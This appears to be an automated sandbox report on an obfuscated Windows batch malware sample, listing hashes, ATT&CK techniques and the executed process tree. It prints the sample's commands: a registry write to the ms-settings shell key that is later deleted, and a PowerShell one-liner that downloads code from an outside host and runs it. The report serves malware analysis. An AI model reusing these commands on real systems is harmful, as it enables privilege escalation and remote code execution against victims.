fcc12b8d5974910bea96cd5166b2f0aa121dfb768e62662c1f0b8316f4ede646

General

Target
Script_obfuscated (1).bat
Size 408B
Sample261024-pfdbfsbx2n
SHA256 fcc12b8d5974910bea96cd5166b2f0aa121dfb768e62662c1f0b8316f4ede646
MD5 072c858dce2d31c3d9f4c26c680ec39f
SHA1 eec818cfe3ad51d2f5fbc1b8cee8894f7d903fc8
SHA512 6ff44d3041c2f8c75377eb703d3962a45f4e86e2a7769b341378b310d9cc1515f463da42f90e5459d7e7066d96f8185d9df0af84c054bd238a82aab0a7c4e09d
TLSH
T121E022272C16AA982D8121F889B97652195B02CFC870B7CA73E8B067680D15D87F1AED
MD5 SHA1 SHA512 TLSH

Score

8^/10

defense_evasion execution

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
17	4040	powershell.exe
18	4040	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1864	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1348	cmd.exe

Delays execution with timeout.exe 2 IoCs

defense_evasion

pid	Process
428	timeout.exe
644	timeout.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4003929486-1233426720-3594832368-1000_Classes\ms-settings\shell	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4003929486-1233426720-3594832368-1000_Classes\ms-settings\shell\open	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4003929486-1233426720-3594832368-1000_Classes\ms-settings\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\Script_obfuscated (1).bat\""	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-4003929486-1233426720-3594832368-1000_Classes\ms-settings\shell\open\command	powershell.exe
Key deleted	\REGISTRY\USER\S-1-5-21-4003929486-1233426720-3594832368-1000_Classes\ms-settings\shell\open	powershell.exe
Key deleted	\REGISTRY\USER\S-1-5-21-4003929486-1233426720-3594832368-1000_Classes\ms-settings\shell	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-4003929486-1233426720-3594832368-1000_Classes\ms-settings\shell\open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4003929486-1233426720-3594832368-1000_Classes\ms-settings	reg.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1864	powershell.exe
1864	powershell.exe
4040	powershell.exe
4040	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1864	powershell.exe
Token: SeDebugPrivilege	4040	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 1348 wrote to memory of 864	1348	cmd.exe	84
PID 1348 wrote to memory of 644	1348	cmd.exe	91
PID 1348 wrote to memory of 1864	1348	cmd.exe	92
PID 1348 wrote to memory of 428	1348	cmd.exe	93
PID 1348 wrote to memory of 4040	1348	cmd.exe	95

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Script_obfuscated (1).bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1348
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /ve /d "\"C:\Users\Admin\AppData\Local\Temp\Script_obfuscated (1).bat\"" /f
  2⤵
  - Modifies registry class
  PID:864
- C:\Windows\system32\timeout.exe
  timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:644
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Remove-Item -Path HKCU:\Software\Classes\ms-settings\shell -Recurse -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1864
- C:\Windows\system32\timeout.exe
  timeout /t 10 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:428
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "irm files.catbox.moe/uui4nj | iex"
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4040

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

PowerShell

1

T1059.001

Windows Command Shell

1

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

1

T1070

File Deletion

1

T1070.004

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 56572269ec031c63d966c6d3b4712600b908d38826c59c0f9a8225d0a783e9f4
MD5 713ad359b75fe6d947468ec1825202b9
SHA1 19dcd19f18a2ad6deb581451aad724bd44a592a4
SHA512 4df344dec422bed85b186909dc7f9c35126b3bb45e100f18fb95b4a9943ace242479adf5f0194b054d38b67032498f897a5a54b49026efee0c4797cb5a5e54e8
TLSH
T18A51DB313375B1E4895A7F47192819C023BF8355FA98AF5CB65C621ED92740B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 9c535eb447a39a3a1293fa5e0e1d78935abd2d8869dc7d39ca8b6aaf28e004f9
MD5 aa651a2c3eadb847c6909678c815f122
SHA1 9b41b2a6d7d7afe3b8a06026d6c4b8b70438c21e
SHA512 d52270e2a1622749e23e01658a5fd8448df71d62c9e50608d850766bbada2e5e03529aaf320d76c21d25f30fe119ec41444b3f46054c85c2721b04d7f967857c
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_3lw0isur.t2x.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3lw0isur.t2x.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1864-1-0x000001EEDFA80000-0x000001EEDFA90000-memory.dmp

Download

memory/1864-0-0x000001EEDFA80000-0x000001EEDFA90000-memory.dmp

Download

memory/1864-2-0x000001EEDFA30000-0x000001EEDFA52000-memory.dmp

Download

memory/1864-10-0x000001EEDFA80000-0x000001EEDFA90000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads